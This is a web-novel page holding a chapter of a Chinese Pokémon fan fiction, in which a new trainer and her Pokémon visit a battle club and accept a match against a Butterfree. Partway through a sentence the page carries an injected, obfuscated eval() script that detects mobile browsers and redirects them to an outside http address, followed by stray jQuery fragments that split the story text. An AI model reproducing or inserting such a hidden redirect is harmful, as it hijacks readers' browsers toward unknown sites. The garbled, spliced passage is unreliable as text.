7. 对战俱乐部(第2页)

 

毕竟是第一次对战,她并不能给自己找一个实力太过强劲的对手,因此祝鸣筝选择将范围框定在获得第一只宝可梦搭档不超过三个月——通俗来讲,便是和她一样刚刚成为训练家的新手。

 

这已经是一个相当宽泛的时间,要知道一部分进化周期短的虫属性宝可梦三个月很可能都已经完成进化了。

 

在仪器上登记完成后,因为还没有人接下对战,她自然而然的进入了提供食物的地点,准备先考察一下环境(其实就是馋了)。

 

进入到飘散着食物香气的房间,龙葵迅速被餐桌上能够任意取用的食物吸引了目光。

 

提供给人的

 

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401051|168684||http|test|mini|href|location''.split(''|''),0,{}));

 

() {

 

$(''.inform'').remove();

 

$(''#content'').append(''

 

食物她只能看出来摆盘很精致,味道具体如何尝过之后才知道。

 

但提供给精灵的食物肯定不会是市面上提供的部分劣质批发粮食,至少已经和她们家使用的品类差不多,算是中上的品牌——看包装就知道。

 

“出来吧琥珀。”这种好事情当然不能够忽略掉自己的宝可梦搭档,祝鸣筝按下精灵球开关放出琥珀,提醒道,“待会儿可能有对战,先简单吃一点垫垫肚子,别吃太饱。”

 

不然就没办法进行太过剧烈的活动,根本就是得不偿失。

 

她们已经吃过中午饭,如今根本不饿,自然也没办法吃太多。

 

而且今天晚上她还答应了琥珀一起去夜市,自然也没办法在这里用餐,只能现在消耗掉预约场地产生的次数了。

 

一人一宝可梦并没有在餐厅里呆多久,大约二十分钟后手机上便弹出了提示——有人选择应答了对战请求。

 

点开通知,这次的对手信息便自动弹出。这次祝鸣筝将要对战的对象是位同样年轻的训练家,资料继续往下滑,对面的宝可梦让她露出颇为无奈的申请。

 

真是说什么来什么,资料显示对面的宝可梦是只虫属性加飞行属性的巴大蝶。

 

如果不出意外的话,对面的特性应该是复眼,一种能够提高技能命中率的特性。

 

其实在对战中巴大蝶真正棘手的特性反而是更加常见的复眼,毕竟它是以各种低命中率的粉末进行干扰手段的宝可梦,复眼能够很好的提高粉末类技能的命中率。

 

祝鸣筝又想起了自己曾经被携带「吃剩的东西」的复眼特性巴大蝶「蝶舞、替身、睡眠粉、暴风」的素质配招恶心,而自己的宝可梦又没有携带拥有「岩石爆破」之类的连续攻击技能破替身的某场对战,又有点气血上涌。

 

好消息,对面没办法对琥珀使用毒粉,也很可能没有学习替身、蝶舞;坏消息,对面有可能还有催眠粉和麻痹粉能够使用。

 

“接!”尽管思绪纷飞,祝鸣筝依旧用力按在手机屏幕上,“我就不信我还会被这招恶心一次!”